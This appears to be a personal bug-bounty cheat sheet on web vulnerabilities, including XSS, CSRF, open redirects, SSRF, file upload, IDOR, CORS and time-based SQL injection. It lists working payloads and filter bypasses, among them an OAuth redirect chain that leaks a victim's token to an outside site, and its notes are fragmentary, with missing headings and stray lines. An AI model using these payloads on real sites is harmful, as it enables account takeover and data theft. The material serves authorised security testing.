This is the most common vulnerabilities found on the bug bounty program

Input your HTML into a parameter/field and the website reflect it as valid HTML

• example: Search form -> Enter <img src=x onerror=alert(0)>
• Upon Search it shows back a broken image along with an alert box.

This means your inputted string was reflected as valid HTML and it is vulnerable to XSS

Test every parameter to find out if its reflected

as we test we can also look for Blind XSS and Reflective XSS

The only hardship is to bypass the WAFs. there is no clear way to do it execpt try and error and also look for other researchers how they bypassed them

• Awesome-WAF

Remember to create a lead.

if we receive a filter, it comes that the parameter we are testing is vulnerable to XSS

But the developer created a filter to prevent any malicious HTML

This should also be one of the reason you spending looking for XSS

if they are filtering certain payloads, it can give you a feel for the overall security of their site

This is an easy bug to prevent, so its easy to create filter

Think of SSRF filtering just internal IP addresses? perhaps they forgot about

• http://169.254.169.254/latest/meta-data chances are they did.

Process for testing for XSS & Filtering

• Step one: Testing different encoding and checking for any weird behaviour

  • find out what payloads are allowed on the parameter how the website reflects/handle it
    • most basic <h2>,<img>,<table> without any flitering
    • is it reflected as HTML?
    • are they filtering malicous HTML?
    • if its reflected as &itor %3c ?
    • test the double encoding %253C and %26it
    • Some other interesting encodings to try out ghettoBypass
  • This is test is to find out what's allowed and isn't and how they handle our payload
    • Example: if <script> was reflected as ⁢script> but %26itscript%26gtwas reflected as <script>
    • Then i know am on to a bypass and i can begin to understand how they are handling encodings
    • Which can help in finding other bugs
    • If not matter what you always see ⁢script> or %3script%3E then the parameter may not be vulnerable

• Step Two : Reverse engineering the developers' thoughts (this gets easier) with time experience.

  • Getting into the developers head as check what type of filters they've created.
  • And start asking why?
  • Does this filter exist elsewhere throughout the webapp?
    • Example: Notice if they are filtering <script>,<iframe> aswell as "onerror=" but notice they aren't filtering <scriptthen we know it's a game on and time to be creative.
    • Are they only looking for complete valid HTML tags?
    • if so we can bypass with <scriptsrc=//mysite.com?c=
    • if we don't end the tag and its instead appended as a parameter value .
    • is it just a blacklist of bad HTML tags?
    • may the developer is not up to date and forgot things such as <svg>
    • if it is just a blacklist, then does this blacklist exist elsewhere?
    • lets thinks about file uploads.
  • how does this website handle encodings? <00iframe>, on%0derror
  • Try many different combinations as possible with different encoding, format
  • The more you poke the more you learn
  • More payloads xsspayloads

• Testing for XSS flow

  • how are "non-malicious" HTML tags such as <h2> handled?
  • What about incomplete tags? <iframe src=//hamcodes.com/c=
  • How do they handle encodings such as <00h2?
  • There are LOTS to try here, %0d, %0a,%09 etc
  • is it just a blacklist or hardcoded strings?
  • Does </script/x>work? <ScRipt>etc.

• Following this process will help you approach XSS from all angles and determine what filtering may be in place and you can usually get a clear indication if a parameter is vulnerable to XSS within a few minute

• Via HTML form (<form action= "/login"method="POST"> )
• Example: CSRF bug is forcing user to change their account email to one controlled by you.
• it can lead to account takeover

• Such as updating your account information
• This can also give you a clear security on the system site
  Question
• What behaviour do you see when sending a blank CSRF value?
• Did it reveal any framework information from an error?
• Did it reflect your changes but with a CSRF error?
• Have you seen this parameter name used on other websites?
• Maybe there isn't even any protection?

• Then work your way backwards

• Consider why is it ?
• Different team?
• Old codebase?
• perhaps a different parameter name is used
• Now you can hunt specifically for this parameter knowing its vulnerable.

• <meta name="referrer" content="no-referrer"/>
• iframe src="data:text/html;baseˆ$,form_code_here">

• Where there is a filter, there is usually a bypass

• every website contains different features, but typically all sensitive features should be protected from CSRF.
• so find the sensitive areas and test them.

• can you force the user to checkout thus forcing their card to charged

Favourite bug to find because success rate is usually 100%

This done by using harmless redirect in a chain

if the target has some type of Oauth flow which handle a token along with a redirect.

Open the URL redirects are simply urls such as.

• https://www.google.com/redirect?goto=https://www.bing.com/
• when visited it redirects to the URL provided in the parameter
• Alot of developers fail to create any type of filtering/restriction on these
• So they are very easy to find.

Filter sometimes can exist to stop you

below are some of the payload i use to bypass filters the can also be used to determine how their filter is working.

• \/yoururl.com
• `//yoururl.com
• \\yoururl.com
• //yoururl.com
• //theirsite@yoursite.com
• `//yoursite.com
• https://yoursite.com%3F.theirsite.com/
• https//yoursite.com%2523.theirsite.com/
• `https://yoursite?c=.theirsite.com(use # \ also)
• //%2F/yoursite.com
• ////yoursite.com
• https://theirsite.computer/
• https://theirsite.com.mysite.com
• `/%0D/yoursite.com (Also try %09, %00, %0a, %07)
• /%2F/yoururl.com
• /%5Cyoururl.com
• //google%E3%80%82com

Some common words i dork for on google to find end points:(Test upper & lower case too)

• return
• return_url
• rUrl
• cancelUrl
• url
• redirect
• follow
• goto
• returnTo
• returnUrl
• r_Url
• history
• goback
• redirectTo
• redirectUrl
• redirUrl

let's take advantage of our findings

• more about how Oauth login works #Auth
• Ouath

The login page look like this:

• https://www.target.com/login?client_id=123&redirect_url=/sosecure
• the redirected url will be whitelisted to only allow for *.target.com/*
• Spot the mistake?
• Armed with an open url redirect on their website, you can leak the token
• As the redirect occurs the token is smuggled with request.
• The user is sent to
  • https://www.target.com/login?client_id=123&redirect_url=https://www.target.com/redirect?redirect=1&url=https://www.hamcodes.com/
• to the attackers website along with their token used for Authentication

Account takeover report incoming!

One common problem people run into is not encoding the values correctly

Especially if the target only allows for /localRedirects

• My payload will look like
  • /redirect?goto=https://hamcodes.com/
  • Using ?goto=parameter may get dropped in redirects(depending on how the web application works and how many redirects occurs)
  • This can be case if it contain multiple parameters (via &)
  • And the redirect parameter maybe missed
  • I'll also encode certain values such as & ? # / \ to force the browser to decode it after the first redirect
    • Location: /redirect%3Fgoto=https://www.hamcodes.com/%253Fexample=hax
  • which then redirects the browser and then kindly decode %3F in the BROWSER URL to?,
  • the parameter were successfully sent through
    • https://www.example.com/redirect?goto=https://www.hamcodes.com/%3Fexample=hax,
  • which then when it redirects again will allow the ?example parameter to also be sent.
• sometimes I'll double encode them based on how many redirects are made & parameters.
  • https://example.com/login?return=https://example.com/?redirect=1%26returnurl=http s%3A%2F%2Fwww.google.com%2F
  • https://example.com/login?return=https%3A%2F%2Fexample.com%2F%3Fredirect=1%2526returnurl%3Dhttps%253A%252F%252Fwww.google.com%252F

When hunting for url redirects they can also be used in SSRF

If the redirect you discover is via the “Location:” header then XSS will not be possible

if it redirected via something like “window.location” then you should test for “javascript:” instead of redirecting to your website as XSS will be possible here.

Some common ways to bypass filters:

• java%0d%0ascript%0d%0a:alert(0)
• j%0d%0aava%0d%0aas%0d%0acrip%0d%0at%0d%0a:confirm0 java%07script:prompt0
• java%09scrip%07t:prompt0
• jjavascriptajavascriptvjavascriptajavascriptsjavascriptcjavascriptrjavascriptijavascript
• pjavascriptt:confirm0

• Why?
• because i look for specific areas on website where the developer may have created filters to prevent malicious activity.
  • Example : I'll try finding their API Console (i check on their developer docs page if available)
    • These areas usually contains features which take _URL parameter and execute

• An example is here from hackeroneRight $ clear

• You can host a redirect locally via using XAMPP & NGrok.
• XAMPP allows you to run PHP code locally and ngrok gives you a public internet address
  • Don't forget to turn it off when finishe testing
• for Tutorials to set XAMPP up refer
  Setup a simple redirect script and see if the target parses the redirect and follows
• What happen if you add sleep(1000) before the redirects?
• Can you cause the server to hang and timeout?
• Maybe their filter is only checking the parameter value!
• Does it check the redirect value and successfully allows you to read internal data?
• Try a potential open redirect you have discovered as part of you chain
• if they are filtering external websites.

• .txt
• .svg
• .xml

• example: what happen if you name the file .hamcodes.php/.jpg
• the code may see it as .jpg but the server writes it as hamcodes.php and miss everything after the forward slash.
• I've also had success with the payload hamcodes.html%0d%0a.jpg.
• the server will see it as .jpg but because %0d%0a are newline characters
• it will be saved as hamcodes.html
• Some filenames are reflected on the page and you can smuggle XSS character in the filename
• Some developers think users can save file with <> "characters in them.

• if i provide it with this , how will it handle it

• example:https://www.example.com/images/users/2b7498e3-9634-4667-b9ce-a8e81428641e/ photo.png
• ex.2 : creating an online Appointment Form
• Questions
  • As the value leaked anywhere on the site?
  • perhaps its been indexed by Google?
• I start to look for more keywords such as "appointment", "appointmentID"
• Test to see if the ID is generated with the same characters or length.
• Check with an integer value, the server may process it it the same way
• mobile app would be my first target on a program if am hunting for IDOR.
• when querying for profile information it will likey make a request to their API with just user ID to identify who you are.

• Acesss-Control-Allow-Origin
• Access-Allow-Credentials:true

• Example :
  • if you have the sensitive information on https://api.hamcodes/user/ and you saw Acesss-Control-Allow-Origin: https://www.yoursite.com/.
  • Then you could the content of this website successfully via yoursite.com.
  • Access-Allow-Credentials:true will be needed if season cookies are required on the request.
  • Developer will only create filters to only allow for their domain to read the contents but remember.
  • when there is a filter there is usually a bypass
  • CORS misconfiguration simply add Origin:theirdomain.com on to every request you make
  • Then grep for Acesss-Control-Allow-Origin
  • other approach anythingheretheirdomain.com

• or sleep(15)and 1=1#
• or sleep(15)#
• union select sleep(15),null#

• example: Getting premium access but they require a valid payment data.you need to upgrade to access the page So the valid payment data act as identification.

• If we bypass it then will own the page

• Spending days/weeks understanding how the developer expected the user to input/do

• Then come up with ways to break & bypass this.

  • example: Signup for a account with the email example example@target.com.
  • sometimes these accounts have special privileges such as no rate limiting and bypassing certain verfications.

• Spending months on their program(You can't find bugs in weeks some companies are huge)
• Choose a wide scope and well know names (easy to find mistakes in big company)
• Focus on you to pick the platform
• The main methodology is using features available to me on their website and find issues.
• Then expand my attack surface as i scan for subdomains, file and directories
• Spending more time getting into developers' head
• Complete mind-map of this company and how everything works. Don't rush the process, trust it.

• interesting endpoints
• Behaviour and parameters(as you are browsing and hacking the web application)
• features which can/ can't be exploited
• what you have tried what you believe is vulnerable
• Never burn yourself out
• If your guts is saying you are tired of testing then move on.

• example: You are testing example.com and we've discovered /admin /admin-new /server_health
• parameters debug and isTrue
• we can create example.com-endpoints.txt & params.txt, we know these endpoints work on the specific domain
• from there you can test all the endpoints /parameters across multiple domains
• create a global-endpoints.txt and begin create commonly found endpoints.
• Overtime you will end up with lots of endpoints/parameters for specific domains
• you can start to map out a web application much easier.

• Can i login with my social media account?
• Is it the same on the mobile application?
• if i try another geolocation can i login with more options?
• What characters aren't allowed.
• let my thought go down a rabbit hole because thats what make me a natural hacker
• what inputs can you control when you sign up?
• What are these reflected?
• Does the mobile signup use a different codebase?

• site:example.com inurl:register inurl:&
• site:example.com inurl:signup inurl:&
• `site:example.com inurl:join inurl:&.

• returnUrl
• goto
• return_url
• returnUri
• cancelUrl
• back
• returnTo

• `

• <div id="example" onclick="runjs('userinput');alert('example');">

• example website which handle file upload

• https://www.jonbottarini.com/2019/06/17/using-burp-suite-match-and-replace-settings-to-escalate-your-user-privileges-and-find-hidden-features/
• https://www.paypalobjects.com/en_GB/vhelp/paypalmanager_help/credit_card_numbers.htm